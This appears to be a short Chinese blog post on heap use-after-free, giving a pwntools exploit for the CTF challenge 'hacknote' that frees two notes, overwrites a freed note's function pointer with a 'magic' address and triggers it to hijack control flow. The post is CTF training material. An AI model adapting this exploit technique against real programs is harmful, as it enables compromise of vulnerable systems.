pwn 堆入门之use after free

hacknote

@TOC

hacknote

#!/usr/bin/env python2
from pwn import *

arch = "i386"
filename = "hacknote"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)


# libc

def add(i,size,content):
    io.sendline('1')
    io.sendline(str(size))
    io.sendline(content)

def delete(index):
    io.sendline('2')
    io.sendline(str(index))

def p(index):
    io.sendline('3')
    io.sendline(str(index))


def b(addr):
    bk = "b *" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")

    add(0,32,b'aaaa')
    add(1,32,b'bbbb')
    #b(0x08048A7C)
    delete(0)
    delete(1)
    b(0x08048A7C)
    magic_addr=0x08048986
    add(1,8,p32(magic_addr))
    #b(0x08048A7C)
    p(0)
    io.recv()
    io.interactive()
main()

-------------本文结束感谢您的阅读-------------

赏

谢谢你请我吃糖果